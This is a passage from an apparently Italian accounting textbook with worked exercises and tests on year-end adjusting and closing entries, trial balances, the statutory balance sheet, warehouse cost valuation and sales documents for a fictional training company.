ammortamento fabbricati	ammortamento...	(calcolare)	
fondo ammortamento fabbricati			(calcolare)

svalutazione crediti	adeguamento del fondo...	(calcolare)	
fondo svalutazione crediti			(calcolare)

TFRL	accantonamento...	651,79	
debiti per TFRL			651,79

fatture da emettere	fatture da emettere...	960,00	
merci c/vendite			800,00
IVA n/debito			160,00

merci c/acquisti	fatture da ricevere...	500,00	
fatture da ricevere			500,00

merci	rimanenze...	34500,00	
merci c/rimanenze finali			34500,00

imposte dell'esercizio	imposte d'esercizio...	1750,00	
debiti per imposte			1750,00

- Registrare in contabilità i giroconti di IVA, banche, e istituti previdenziali.

IVA n/debito	giroconto IVA...	(calcolare)	
debiti per IVA			(calcolare)

banche c/c attivi	giroconto banche...	(calcolare)	
banca X c/c			(calcolare)

istituti previdenziali	giroconto istituti previdenziali...	(calcolare)	
debiti v/istituti previdenziali			(calcolare)

- Stampare il bilancio di verifica dopo le scritture di assestamento e i giroconti richiesti.

1201	fabbricati			80 000,00	0,00
1205	macchine d'ufficio			8 000,00	0,00
1211	fondo ammortamento fabbricati			0,00	24 915,00
1215	fondo ammortamento macchine d'ufficio			0,00	1 600,00
1404	merci			34 500,00	0,00
1501	crediti v/clienti			21 267,11	0,00
1505	cambiali attive			12 835,80	0,00
1509	fatture da emettere			960,00	0,00
1540	fondo svalutazione crediti			0,00	1 317,00
1801	banche c/c attivi			4 338,00	0,00
1820	denaro in cassa			6 670,30	0,00
2101	patrimonio netto			0,00	69 903,10
2301	debiti per TFRL			0,00	9 651,79
2501	debiti v/fornitori			0,00	39 270,81
2503	cambiali passive			0,00	5 431,00
2520	fatture da ricevere			0,00	500,00
2601	IVA n/debito			0,00	0,00
2605	debiti per IVA			0,00	1 160,00
2606	debiti per imposte			0,00	2 850,00
2630	debiti v/istituti previdenziali			0,00	1 485,00
2811	istituti previdenziali			0,00	0,00
2820	banca ... c/c			0,00	0,00
3101	merci c/vendite			0,00	51 712,00
3111	ribassi e abbuoni passivi			83,00	0,00
4101	merci c/acquisti			60 987,00	0,00
4111	ribassi e abbuoni attivi			0,00	102,00
4131	merci c/rimanenze finali			0,00	34 500,00
4201	costi di trasporto			278,00	0,00
4204	costi di consulenze			2 285,70	0,00
4401	salari e stipendi			3 121,00	0,00
4402	oneri sociali			2 670,00	0,00
4403	TFRL			651,79	0,00
4601	ammortamento fabbricati			2 400,00	0,00
4605	ammortamento macchine d'ufficio			1 600,00	0,00
4706	svalutazione crediti			0,00	0,00
8101	imposte dell'esercizio			1 750,00	0,00

- Controllare il bilancio di verifica e fare le correzioni se necessario.

124.4.2.1 Operazioni di chiusura

31 dicembre

Vengono effettuate le scritture di chiusura dei conti economici.

- Registrare in contabilità generale le scritture di chiusura dei conti economici.

conto del risultato economico	epilogo dei costi	(calcolare)	
ribassi e abbuoni passivi			(calcolare)
merci c/acquisti			(calcolare)
...			(calcolare)

merci c/vendite	epilogo dei ricavi	(calcolare)	
ribassi e abbuoni attivi		(calcolare)	
...		(calcolare)	
conto del risultato economico			(calcolare)

- Stampare il bilancio di verifica.

1201	fabbricati		80 000,00	0,00
1205	macchine d'ufficio		8 000,00	0,00
1211	fondo ammortamento fabbricati		0,00	24 915,00
1215	fondo ammortamento macchine d'ufficio		0,00	1 600,00
1404	merci		34 500,00	0,00
1501	crediti v/clienti		21 267,11	0,00
1505	cambiali attive		12 835,80	0,00
1509	fatture da emettere		960,00	0,00
1540	fondo svalutazione crediti		0,00	1 317,00
1801	banche c/c attivi		4 338,00	0,00
1820	denaro in cassa		6 670,30	0,00
2101	patrimonio netto		0,00	69 903,10
2301	debiti per TFRL		0,00	9 651,79
2501	debiti v/fornitori		0,00	39 270,81
2503	cambiali passive		0,00	5 431,00
2520	fatture da ricevere		0,00	500,00
2601	IVA n/debito		0,00	0,00
2605	debiti per IVA		0,00	1 160,00
2606	debiti per imposte		0,00	2 850,00
2630	debiti v/istituti previdenziali		0,00	1 485,00
2811	istituti previdenziali		0,00	0,00
2820	banca ... c/c		0,00	0,00
3101	merci c/vendite		0,00	0,00
3111	ribassi e abbuoni passivi		0,00	0,00
4101	merci c/acquisti		0,00	0,00
4111	ribassi e abbuoni attivi		0,00	0,00
4131	merci c/rimanenze finali		0,00	0,00
4201	costi di trasporto		0,00	0,00
4204	costi di consulenze		0,00	0,00
4401	salari e stipendi		0,00	0,00
4402	oneri sociali		0,00	0,00
4403	TFRL		0,00	0,00
4601	ammortamento fabbricati		0,00	0,00
4605	ammortamento macchine d'ufficio		0,00	0,00
4706	svalutazione crediti		0,00	0,00
8101	imposte dell'esercizio		0,00	0,00
9101	conto di risultato economico		0,00	10 487,51

31 dicembre

Prendere visione dell'importo dell'utile o della perdita di esercizio dal bilancio di verifica appena stampato e registrare in contabilità generale l'operazione con cui ciò viene trasferito nello stato patrimoniale.

- Registrare in contabilità generale la scrittura di determinazione dell'utile o della perdita.

- Stampare il bilancio di verifica (l'insieme dei conti economici deve risultare azzerato completamente).

1201	fabbricati		80 000,00	0,00
1205	macchine d'ufficio		8 000,00	0,00
1211	fondo ammortamento fabbricati		0,00	24 915,00
1215	fondo ammortamento macchine d'ufficio		0,00	1 600,00
1404	merci		34 500,00	0,00
1501	crediti v/clienti		21 267,11	0,00
1505	cambiali attive		12 835,80	0,00
1509	fatture da emettere		960,00	0,00
1540	fondo svalutazione crediti		0,00	1 317,00
1801	banche c/c attivi		4 338,00	0,00
1820	denaro in cassa		6 670,30	0,00
2101	patrimonio netto		0,00	69 903,10
2102	utile d'esercizio		0,00	10 487,51
2301	debiti per TFRL		0,00	9 651,79
2501	debiti v/fornitori		0,00	39 270,81
2503	cambiali passive		0,00	5 431,00
2520	fatture da ricevere		0,00	500,00
2601	IVA n/debito		0,00	0,00
2605	debiti per IVA		0,00	1 160,00
2606	debiti per imposte		0,00	2 850,00
2630	debiti v/istituti previdenziali		0,00	1 485,00
2811	istituti previdenziali		0,00	0,00
2820	banca ... c/c		0,00	0,00
3101	merci c/vendite		0,00	0,00
3111	ribassi e abbuoni passivi		0,00	0,00
4101	merci c/acquisti		0,00	0,00
4111	ribassi e abbuoni attivi		0,00	0,00
4131	merci c/rimanenze finali		0,00	0,00
4201	costi di trasporto		0,00	0,00
4204	costi di consulenze		0,00	0,00
4401	salari e stipendi		0,00	0,00
4402	oneri sociali		0,00	0,00
4403	TFRL		0,00	0,00
4601	ammortamento fabbricati		0,00	0,00
4605	ammortamento macchine d'ufficio		0,00	0,00
4706	svalutazione crediti		0,00	0,00
8101	imposte dell'esercizio		0,00	0,00
9101	conto di risultato economico		0,00	0,00

31 dicembre

Effettuare la chiusura dei conti dello stato patrimoniale.

- Registrare in contabilità generale le scritture di chiusura dei conti dello stato patrimoniale.

bilancio di chiusura	chiusura dell'attivo	(calcolare)	
fabbricati			(calcolare)
macchine d'ufficio			(calcolare)
...			(calcolare)

fondo ammortamento fabbricati	chiusura del passivo	(calcolare)	
fondo ammortamento macchine d'ufficio		(calcolare)	
...		(calcolare)	
bilancio di chiusura			(calcolare)

- Stampare il bilancio di verifica e verificare che sia azzerato completamente.

1201	fabbricati			0,00	0,00
1205	macchine d'ufficio			0,00	0,00
1211	fondo ammortamento fabbricati			0,00	0,00
1215	fondo ammortamento macchine d'ufficio			0,00	0,00
1404	merci			0,00	0,00
1501	crediti v/clienti			0,00	0,00
1505	cambiali attive			0,00	0,00
1509	fatture da emettere			0,00	0,00
1540	fondo svalutazione crediti			0,00	0,00
1801	banche c/c attivi			0,00	0,00
1820	denaro in cassa			0,00	0,00
2101	patrimonio netto			0,00	0,00
2102	utile d'esercizio			0,00	0,00
2301	debiti per TFRL			0,00	0,00
2501	debiti v/fornitori			0,00	0,00
2503	cambiali passive			0,00	0,00
2520	fatture da ricevere			0,00	0,00
2601	IVA n/debito			0,00	0,00
2605	debiti per IVA			0,00	0,00
2606	debiti per imposte			0,00	0,00
2630	debiti v/istituti previdenziali			0,00	0,00
2802	bilancio di chiusura			0,00	0,00
2811	istituti previdenziali			0,00	0,00
2820	banca ... c/c			0,00	0,00
3101	merci c/vendite			0,00	0,00
3111	ribassi e abbuoni passivi			0,00	0,00
4101	merci c/acquisti			0,00	0,00
4111	ribassi e abbuoni attivi			0,00	0,00
4131	merci c/rimanenze finali			0,00	0,00
4201	costi di trasporto			0,00	0,00
4204	costi di consulenze			0,00	0,00
4401	salari e stipendi			0,00	0,00
4402	oneri sociali			0,00	0,00
4403	TFRL			0,00	0,00
4601	ammortamento fabbricati			0,00	0,00
4605	ammortamento macchine d'ufficio			0,00	0,00
4706	svalutazione crediti			0,00	0,00
8101	imposte dell'esercizio			0,00	0,00
9101	conto di risultato economico			0,00	0,00

- Stampare il giornale di contabilità generale.

	data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere	
1		1501	crediti v/clienti	4						7 763,90		7 763,90
1		1501	crediti v/clienti	5						6 291,60		14 055,50
1		1501	crediti v/clienti	6						7 211,61		21 267,11
1		2820	banca ... c/c							4 338,00		25 605,11
1		1505	cambiali attive							12 835,80		38 440,91
1		1820	denaro in cassa							6 670,30		45 111,21
1		1205	macchine d'ufficio							8 000,00		53 111,21
1		1201	fabbricati							80 000,00		133 111,21
1		4101	merci c/acquisti							60 487,00		193 598,21
1		4204	costi di consulenze							2 285,70		195 883,91
1		3111	ribassi e abbuoni passivi							83,00		195 966,91
1		4401	salari e stipendi							3 121,00		199 087,91
1		4402	oneri sociali							2 670,00		201 757,91
1	30 dic	4201	costi di trasporto			situazione dei conti prima degli assestamenti				278,00		202 035,91
1		2501	debiti v/fornitori		4						18 138,24	183 897,67
1		2501	debiti v/fornitori		5						21 031,42	162 866,25
1		2501	debiti v/fornitori		6						101,15	162 765,10
1		2503	cambiali passive								5 431,00	157 334,10
1		2301	debiti per TFRL								9 000,00	148 334,10
1		1540	fondo svalutazione crediti								1 317,00	147 017,10
1		2606	debiti per imposte								1 100,00	145 917,10
1		1211	fondo ammortamento fabbricati								22 515,00	123 402,10
1		2811	istituti previdenziali								1 485,00	121 917,10
1		2605	debiti per IVA								1 000,00	120 917,10
1		2101	patrimonio netto								69 903,10	51 014,00
1		3101	merci c/vendite								50 912,00	102,00
1		4111	ribassi e abbuoni attivi								102,00	0,00

N.	Data	Conto	Descrizione conto	Descrizione	Dare	Avere	Saldo
2	31 dic	4605	ammortamento macchine d'ufficio	ammortamento macchine d'ufficio 20%	1 600,00		1 600,00
2		1215	fondo ammortamento macchine d'ufficio			1 600,00	0,00
3	31 dic	4601	ammortamento fabbricati	ammortamento fabbricati 3%	2 400,00		2 400,00
3		1211	fondo ammortamento fabbricati			2 400,00	0,00
3	31 dic	4706	svalutazione crediti	si porta il fondo al 3% dei crediti commerciali (la scrittura non va fatta perché il fondo è già sufficiente)	0,00		0,00
3		1540	fondo svalutazione crediti			0,00	0,00
4	31 dic	4403	TFRL	accantonamento al fondo TFRL	651,79		651,79
4		2301	debiti per TFRL			651,79	0,00
5	31 dic	1509	fatture da emettere	fatture da emettere per merci già inviate	960,00		960,00
5		3101	merci c/vendite			800,00	160,00
5		2601	IVA n/debito			160,00	0,00
6	31 dic	4101	merci c/acquisti	fatture da ricevere per merci già ricevute	500,00		500,00
6		2520	fatture da ricevere			500,00	0,00
7	31 dic	1404	merci	rilevate le merci in rimanenza	34 500,00		34 500,00
7		4131	merci c/rimanenze finali			34 500,00	0,00
8	31 dic	8101	imposte dell'esercizio	imposte di esercizio	1 750,00		1 750,00
8		2606	debiti per imposte			1 750,00	0,00
9	31 dic	2601	IVA n/debito	giroconto IVA	160,00		160,00
9		2605	debiti per IVA			160,00	0,00
10	31 dic	1801	banche c/c attivi	giroconto banche	4 338,00		4 338,00
10		2820	banca ... c/c			4 338,00	0,00
11	31 dic	2811	istituti previdenziali	giroconto istituti previdenziali	1 485,00		1 485,00
11		2630	debiti v/istituti previdenziali			1 485,00	0,00
12	31 dic	9101	conto di risultato economico	epilogo dei costi	75 826,49		75 826,49
12		3111	ribassi e abbuoni passivi			83,00	75 743,49
12		4101	merci c/acquisti			60 987,00	14 756,49
12		4201	costi di trasporto			278,00	14 478,49
12		4204	costi di consulenze			2 285,70	12 192,79
12		4401	salari e stipendi			3 121,00	9 071,79
12		4402	oneri sociali			2 670,00	6 401,79
12		4403	TFRL			651,79	5 750,00
12		4601	ammortamento fabbricati			2 400,00	3 350,00
12		4605	ammortamento macchine d'ufficio			1 600,00	1 750,00
12		8101	imposte dell'esercizio			1 750,00	0,00
13	31 dic	3101	merci c/vendite	epilogo dei ricavi	51 712,00		51 712,00
13		4111	ribassi e abbuoni attivi		102,00		51 814,00
13		4131	merci c/rimanenze finali		34 500,00		86 314,00
13		9101	conto di risultato economico			86 314,00	0,00
14	31 dic	9101	conto di risultato economico	rilevazione utile	10 487,51		10 487,51
14		2102	utile d'esercizio			10 487,51	0,00
15	31 dic	2802	bilancio di chiusura	chiusura dell'attivo	168 571,21		168 571,21
15		1201	fabbricati			80 000,00	88 571,21
15		1205	macchine d'ufficio			8 000,00	80 571,21
15		1404	merci			34 500,00	46 071,21
15		1501	crediti v/clienti			21 267,11	24 804,10
15		1505	cambiali attive			12 835,80	11 968,30
15		1509	fatture da emettere			960,00	11 008,30
15		1801	banche c/c attivi			4 338,00	6 670,30
15		1820	denaro in cassa			6 670,30	0,00
16	31 dic	1211	fondo ammortamento fabbricati	chiusura del passivo	24 915,00		24 915,00
16		1215	fondo ammortamento macchine d'ufficio		1 600,00		26 515,00
16		1540	fondo svalutazione crediti		1 317,00		27 832,00
16		2101	patrimonio netto		69 903,10		97 735,10
16		2102	utile d'esercizio		10 487,51		108 222,61
16		2301	debiti per TFRL		9 651,79		117 874,40
16		2501	debiti v/fornitori		39 270,81		157 145,21
16		2503	cambiali passive		5 431,00		162 576,21
16		2520	fatture da ricevere		500,00		163 076,21
16		2605	debiti per IVA		1 160,00		164 236,21
16		2606	debiti per imposte		2 850,00		167 086,21
16		2630	debiti v/istituti previdenziali		1 485,00		168 571,21
16		2802	bilancio di chiusura			168 571,21	0,00

124.4.3 Conclusione della verifica sulla chiusura

I documenti da presentare per la correzione sono i seguenti. Le stampe devono essere ordinate e il tutto deve essere unito assieme con i punti metallici oppure i fermagli per lettera.

1. Bilancio di verifica del 30 dicembre (dopo l'apertura dei conti).
2. Bilancio di verifica del 31 dicembre ottenuto subito dopo gli assestamenti.

3. Bilancio di verifica del 31 dicembre ottenuto dopo la chiusura dei conti economici.
4. Bilancio di verifica del 31 dicembre ottenuto dopo il giroconto dell'utile.
5. Bilancio di verifica del 31 dicembre ottenuto dopo l'epilogo dei conti dello stato patrimoniale (e quindi azzerato completamente).
6. Giornale di contabilità generale.

124.5 Verifica guidata sul bilancio (coge4)

Per svolgere questa verifica occorre recuperare il foglio di lavoro della verifica precedente e salvarlo con un altro nome, per potervi apportare delle modifiche.

124.5.1 Ripristino delle eccedenze

31 dicembre

Per poter produrre un bilancio, occorre ripristinare le eccedenze avute subito dopo le scritture di assestamento. Pertanto, dopo aver salvato il file della verifica precedente con un nome nuovo, vanno cancellate le scritture di chiusura dei conti e di determinazione dell'utile (o della perdita).

- Cancellare le scritture di chiusura, inclusa quella di determinazione dell'utile o della perdita.

124.5.2 Predisposizione di una situazione contabile

31 dicembre

Prima di realizzare il bilancio vero e proprio, si richiede di predisporre la situazione contabile, attraverso la scheda '`sc`'. Lo stesso risultato che appare nella situazione contabile è quello che deve poi apparire nel bilancio.

- Compilare la situazione contabile, inserendo i codici dei conti nella posizione corretta.

Figura 124.38. Situazione contabile: stato patrimoniale e conto economico.

conti dello stato patrimoniale					
1201	fabbricati	80 000,00	1211	fondo ammortamento fabbricati	24 915,00
1205	macchine d'ufficio	8 000,00	1215	fondo ammortamento macchine d'ufficio	1 600,00
1404	merci	34 500,00	1540	fondo svalutazione crediti	1 317,00
1501	crediti v/clienti	21 267,11	2101	patrimonio netto	69 903,10
1505	cambiali attive	12 835,80	2301	debiti per TFRL	9 651,79
1509	fatture da emettere	960,00	2501	debiti v/fornitori	39 270,81
1801	banche c/c attivi	4 338,00	2503	cambiali passive	5 431,00
1820	denaro in cassa	6 670,30	2520	fatture da ricevere	500,00
			2605	debiti per IVA	1 160,00
			2606	debiti per imposte	2 850,00
			2630	debiti v/istituti previdenziali	1 485,00
		168 571,21			158 083,70
		0,00			10 487,51
conti economici					
3111	ribassi e abbuoni passivi	83,00	3101	merci c/vendite	51 712,00
4101	merci c/acquisti	60 987,00	4111	ribassi e abbuoni attivi	102,00
4201	costi di trasporto	278,00	4131	merci c/rimanenze finali	34 500,00
4204	costi di consulenze	2 285,70			
4401	salari e stipendi	3 121,00			
4402	oneri sociali	2 670,00			
4403	TFRL	651,79			
4601	ammortamento fabbricati	2 400,00			
4605	ammortamento macchine d'ufficio	1 600,00			
8101	imposte dell'esercizio	1 750,00			
		75 826,49			86 314,00
		10 487,51			0,00

124.5.3 Associare i conti alle voci di bilancio

31 dicembre

Con l'aiuto della schede del piano dei conti del proprio libro di testo, vanno associate le voci del bilancio ai conti che presentano eccedenze. Questa associazione va fatta tenendo conto che alle voci dell'attivo si aggiunge il prefisso «a», a quelle del passivo si aggiunge il prefisso «p», a quelle del conto economico si aggiunge il prefisso «e». Inoltre, va ricordato che, per motivi tecnici, alcune voci del bilancio contenuto nel foglio di lavoro non sono perfettamente conformi al disposto del codice civile.

Tabella 124.39. Varianti rispetto a quanto riportato nel codice civile.

codice civile	descrizione	adattamento
attivo A	crediti verso i soci già richiamati	attivo A1
attivo A	crediti verso i soci non ancora richiamati	attivo A2
attivo D	ratei attivi	attivo D1
attivo D	risconti attivi	attivo D2
attivo D	disaggi su prestiti	attivo D3
passivo C	trattamento di fine rapporto di lavoro subordinato	passivo C1
passivo E	ratei passivi	passivo E1
passivo E	risconti passivi	passivo E2
passivo E	aggi su prestiti	passivo E3

- Mettere nel piano dei conti le voci che collegano le eccedenze al bilancio.

Figura 124.40. Porzione del piano dei conti con le associazioni al bilancio.

1201	fabbricati	aBII1	
1205	macchine d'ufficio	aBII4	
1211	fondo ammortamento fabbricati	aBII1	
1215	fondo ammortamento macchine d'ufficio	aBII4	
3101	merci c/vendite		eA1
3111	ribassi e abbuoni passivi		eA1
4101	merci c/acquisti	eB6	
4111	ribassi e abbuoni attivi	eB6	

124.5.4 Stampa del bilancio

31 dicembre

Va stampato il bilancio (scheda '**`bilancio`**'), dopo averla filtrata per le sole righe utili. Va verificato che il risultato di esercizio corrisponda a quanto determinato con la chiusura e che il totale attivo sia pari al totale passivo.

- Stampare il bilancio.
- Verificare che i dati che appaiono in bilancio siano validi; in caso contrario, vanno corrette le associazioni fatte nel piano dei conti e quindi va ristampato il bilancio.
- Stampare la scheda del piano dei conti, filtrata con i soli conti utilizzati effettivamente nel giornale, in modo da evidenziare l'associazione al bilancio.

Figura 124.41. Bilancio.

				ATTIVO				
A				**CREDITI VERSO I SOCI PER VERSAMENTI ANCORA DOVUTI:**				**0**
B				**IMMOBILIZZAZIONI:**				**61 485**
B	II			Immobilizzazioni materiali:			61 485	
B	II	1		terreni e fabbricati		55 085		
B	II	4		altri beni materiali		6 400		
C				**ATTIVO CIRCOLANTE:**				**79 254**
C	I			Rimanenze:			34 500	
C	I	4		prodotti finiti e merci		34 500		
C	II			Crediti:			33 746	
C	II	1		Verso i clienti		33 746		
C	IV			Disponibilità liquide:			11 008	
C	IV	1		depositi bancari e postali		4 338		
C	IV	3		denaro e valori in cassa		6 670		
D				**RATEI E RISCONTI ATTIVI:**				**0**
				TOTALE ATTIVO (A+B+C+D)				**140 739**
				PASSIVO				
A				**PATRIMONIO NETTO:**				**80 391**
A	I			Capitale			69 903	
A	IX			Utile (perdita) dell'esercizio (deriva dal conto economico)			10 488	
B				**FONDI PER RISCHI E ONERI:**				**0**
C				**TRATTAMENTO DI FINE RAPPORTO DI LAVORO SUBORDINATO:**				**9 652**
C		*1*		fondo TFRL		9 652		
D				**DEBITI:**				**50 697**
D		7		debiti verso fornitori		39 771		
D		8		debiti rappresentati da titoli di credito		5 431		
D		12		debiti tributari		4 010		
D		13		debiti verso istituti di previdenza e di sicurezza sociale		1 485		
E				**RATEI E RISCONTI PASSIVI:**				**0**
				TOTALE PASSIVO (A+B+C+D+E)				**140 739**
				CONTO ECONOMICO				
A				**VALORE DELLA PRODUZIONE:**				**51 629**
A		1		ricavi delle vendite e delle prestazioni		51 629		
B				**COSTI DELLA PRODUZIONE:**				**39 391**
B		6		acquisti materie prime, sussidiarie, di consumo e di merci		60 885		
B		7		spese per prestazione di servizi		2 564		
B		9		costi del personale:		6 443		
B		9	a	salari e stipendi	3 121			
B		9	b	oneri sociali	2 670			
B		9	c	accantonamento al TFRL	652			
B		10		ammortamenti e svalutazioni:		4 000		
B		10	b	ammortamento delle immobilizzazioni materiali	4 000			
B		11		variazioni rimanenze materie prime, sussidiarie, di consumo e merci		- 34 500		
				DIFFERENZA TRA VALORE E COSTI DELLA PRODUZIONE (A-B)				**12 238**
C				**PROVENTI E ONERI FINANZIARI (15+16-17)**				**0**
D				**RETTIFICHE DI VALORE DI ATTIVITÀ FINANZIARIE (18-19):**				**0**
				RISULTATO PRIMA DELLE IMPOSTE (A-B±C±D±E)				**12 238**
		22		Imposte sul reddito dell'esercizio		1 750		
		26		Utile o perdita di esercizio		10 488		

124.5.5 Conclusione della verifica sul bilancio

I documenti da presentare per la correzione sono i seguenti. Le stampe devono essere ordinate e il tutto deve essere unito assieme con i punti metallici oppure i fermagli per lettera.

1. Bilancio di verifica del 31 dicembre dove sono evidenziate le associazioni al bilancio (si tratta della scheda dei conti).

2. Situazione contabile del 31 dicembre.
3. Giornale di contabilità generale (senza le scritture di chiusura).
4. Bilancio vero e proprio.

124.6 Esercitazione con la contabilità di magazzino (mag1)

Viene proposto un esercizio molto semplice, con il quale si compone un giornale di magazzino e le schede di valorizzazione al costo medio (per movimento e per periodo). La codifica usata è quella descritta nella sezione 124.1 e il periodo considerato va dal 1 gennaio al 31 dicembre inclusi (il periodo fa fissato nella scheda degli articoli).

124.6.1 Giornale di magazzino

Nelle descrizioni sono annotati anche i numeri e le date dei documenti a cui fanno riferimento le operazioni. La sigla «ddt» si riferisce a un documento di trasporto; la sigla «ft» a una fattura; la sigla «pr» indica un numero di protocollo. Si osservi che il numero di protocollo dei documenti di trasporto è indipendente da quello delle fatture.

Giornale di magazzino

n.	data	codice	articolo	descrizione dell'operazione	+ carico − reso su acq.	+ scarico (− reso su vend.)	+ valore carico − valore reso su acq.
1	01/01	1	telo copri monitor	acquisto, ddt 5, pr. 1 del 1/1	100,0000		1000,00
2	02/01	2	porta CD/DVD da viaggio	acquisto, ddt 7, pr. 2 del 1/1	300,0000		3000,00
3	03/01	1	telo copri monitor	vendita, ddt 1 del 3/1		30,0000	
4	04/01	2	porta CD/DVD da viaggio	vendita, ft 1 del 3/1		100,0000	
5	05/01	1	telo copri monitor	vendita, ft 2 del 4/1		60,0000	
6	06/01	2	porta CD/DVD da viaggio	vendita, ddt 2 del 6/1		100,0000	
7	07/01	1	telo copri monitor	acquisto, ddt 10, pr. 3 del 05/01	100,0000		900,00
8	08/01	1	telo copri monitor	vendita, ddt 3 del 6/1		50,0000	
9	09/01	1	telo copri monitor	reso su acquisto del 1/1, ddt 4 del 9/1	-10,0000		-100,00
10	10/01	1	telo copri monitor	vendita, ddt 5 del 10/1		50,0000	

124.6.2 Valorizzazione al costo medio ponderato per movimento

articolo 1	scheda di magazzino dell'articolo : «telo copri monitor»

n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico, al **costo medio ponderato per movimento**	quantità in giacenza	valore della giacenza
1	01/01	carico per acquisto	100,000	10,000		100,000	1000,00
3	03/01	scarico per vendita	-30,000		10,00	70,000	700,00
5	05/01	scarico per vendita	-60,000		10,00	10,000	100,00
7	07/01	carico per acquisto	100,000	9,000		110,000	1000,00
8	08/01	scarico per vendita	-50,000		9,09	60,000	545,50
9	09/01	reso su acquisto del 1/1	-10,000		10,00	50,000	445,50
10	10/01	scarico per vendita	-50,000		8,91	0,000	0,00

articolo 2	scheda di magazzino dell'articolo : «porta CD/DVD da viaggio»

n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico, al **costo medio ponderato per movimento**	quantità in giacenza	valore della giacenza
2	02/01	carico per acquisto	300,000	10,000		300,000	3000,00
4	04/01	scarico per vendita	-100,000		10,00	200,000	2000,00
6	06/01	scarico per vendita	-100,000		10,00	100,000	1000,00

124.6.3 Valorizzazione al costo medio ponderato per periodo

articolo 1	scheda di magazzino dell'articolo : «telo copri monitor»

n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico al **costo medio del periodo**	quantità in giacenza	valore della giacenza
1	01/01	carico per acquisto	100,000	10,000		100,000	1000,00
3	03/01	scarico per vendita	-30,000		9,47	70,000	715,90
5	05/01	scarico per vendita	-60,000		9,47	10,000	147,70
7	07/01	carico per acquisto	100,000	9,000		110,000	1047,70
8	08/01	scarico per vendita	-50,000		9,47	60,000	574,20
9	09/01	reso su acquisto del 1/1	-10,000		9,47	50,000	479,50
10	10/01	scarico per vendita	-50,000		9,47	0,000	6,00

articolo 2	scheda di magazzino dell'articolo : «porta CD/DVD da viaggio»

n	data	descrizione dell'operazione	quantità	valore unitario di carico	valore unitario di scarico al **costo medio del periodo**	quantità in giacenza	valore della giacenza
2	02/01	carico per acquisto	300,000	10,000		300,000	3000,00
4	04/01	scarico per vendita	-100,000		10,00	200,000	2000,00
6	06/01	scarico per vendita	-100,000		10,00	100,000	1000,00

124.7 Verifica sulla gestione della contabilità di magazzino (mag2)

Si registrano le operazioni seguenti in contabilità di magazzino.

- **10 settembre**

  Il fornitore Tutto hardware ci invia merce accompagnata da documento di trasporto n. 250 del 07 settembre per l’acquisto di 1000 porta CD/DVD da viaggio, al prezzo unitario di 3,00 €. Il documento viene protocollato con il numero 110.

- **11 settembre**

  Si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 200 (emessa lo stesso giorno). Si tratta di 500 porta CD/DVD da viaggio al prezzo del listino di vendita, che inizialmente è di 5,00 €.

- **12 settembre**

  Il fornitore Tutto hardware ci invia merce accompagnata da documento di trasporto n. 255 del 11 settembre per l’acquisto di 5000 porta CD/DVD da viaggio al prezzo unitario di 3,00 €, meno lo sconto del 11 %. Il documento viene protocollato con il numero 111.

- **13 settembre**

  Si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 201 (emessa lo stesso giorno). Si tratta di 1000 porta CD/DVD da viaggio al prezzo del listino di vendita.

- **14 settembre**

  Si modifica il prezzo di listino dei porta CD/DVD da viaggio, indicando 7,00 € per unità. Successivamente si invia al cliente Alberoni merce accompagnata da documento di trasporto n. 202 (emessa lo stesso giorno). Si tratta di 2000 porta CD/DVD da viaggio al prezzo di listino, ridotto però di uno sconto del 3 %.

Si devono presentare i documenti seguenti:

1. Il giornale di magazzino;
2. La scheda dell’articolo utilizzato nella verifica, valorizzandolo al costo medio ponderato per movimento.

3. La scheda dell'articolo utilizzato nella verifica, valorizzandolo al costo medio ponderato per periodo.

124.8 Esercitazione sulla gestione delle vendite (vend1)

La gestione delle vendite implica la produzione dei documenti della vendita, costituiti principalmente da fatture, note di accredito e cambiali tratte, che successivamente vanno registrate in contabilità generale, e, se appropriato, anche in contabilità di magazzino.

Qui viene emessa una fattura, una tratta e una nota di accredito; successivamente si registrano in contabilità generale e nei movimenti di magazzino.

124.8.1 Fattura

Azienda per le esercitazioni
piazza della Vittoria, 3/4
31100 - Treviso - (TV)
p.i.: 80011540269

numero fattura	data fattura
123	11 gennaio 2010

codice cliente: 1

Alberoni & C.
piazza Tiritera, 28
50018 Scandicci FI
CF o PI: 1720430485

spese di trasporto non documentate	spese di imballo non documentate	pagamento	
€ 500,00		12	tratta 60 g.d.f.

banca di appoggio: banca della valle

ordine		documento di trasporto	
numero	data	numero	data

articolo	descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
10	miele di acacia 1 kg	200	5,00%	1,00%	5,00	940,50	10%
11	cera d'api grezza 1 kg	100			5,00	500,00	10%
12	pappa reale pura 10 g	300			20,00	6.000,00	20%
13	propoli 20 g	500	2,00%		10,00	4.900,00	20%
					sconto sul totale: 2,00%	-246,81	

riepilogo IVA		
imponibile	aliquota	IVA
0,00	4%	0,00
1.411,69	10%	141,17
10.682,00	20%	2.136,40
ripartizione spese non documentate	aliquota	IVA
0,00	4%	0,00
58,36	10%	5,84
441,64	20%	88,33

totale spese non documentate	500,00
totale IVA	2.371,74
spese documentate escluse dalla base imponibile	0,00
interessi	0,00
cauzioni	0,00
bolli	181,80

scadenza fattura: 11 marzo 2010

15.147,23 totale fattura

124.8.2 Cambiale tratta

cliente debitore
1

bollo € 181,80

Treviso, 11 gennaio 2010
(LUOGO E DATA DELL'EMISSIONE)

Euro 15147,23
(IN CIFRE)

Al *11 marzo 2010*
(SCADENZA)

pagherete per questa cambiale tratta

all'ordine della ditta Azienda per le esercitazioni *la somma*

di Euro *quindicimilacentoquarantasette/23*
(IN LETTERE)

DOMICILIAZIONE

NOME E INDIRIZZO DEL DEBITORE

Alberoni & C.

piazza Tiritera, 28

50018 - Scandicci - FI

CAP LOCALITÀ PROV.

(FIRMA)

124.8.3 Nota di accredito

Azienda per le esercitazioni

piazza della Vittoria, 3/4

31100 - Treviso - (TV)

p.i.: 80011540269

nota di accredito n.	data documento
124	15 gennaio 2010

codice cliente: 1

Alberoni & C.

piazza Tiritera, 28

50018 Scandicci FI

CF o PI: 1720430485

riferimento fattura		note
numero	data	reso per fornitura eccedente l'ordinazione
123	11 gennaio 2010	

descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
miele di acacia 1 kg	100	5,00%	1,00%	5,00	470,25	10%
			sconto sul totale:	2,00%	-9,41	

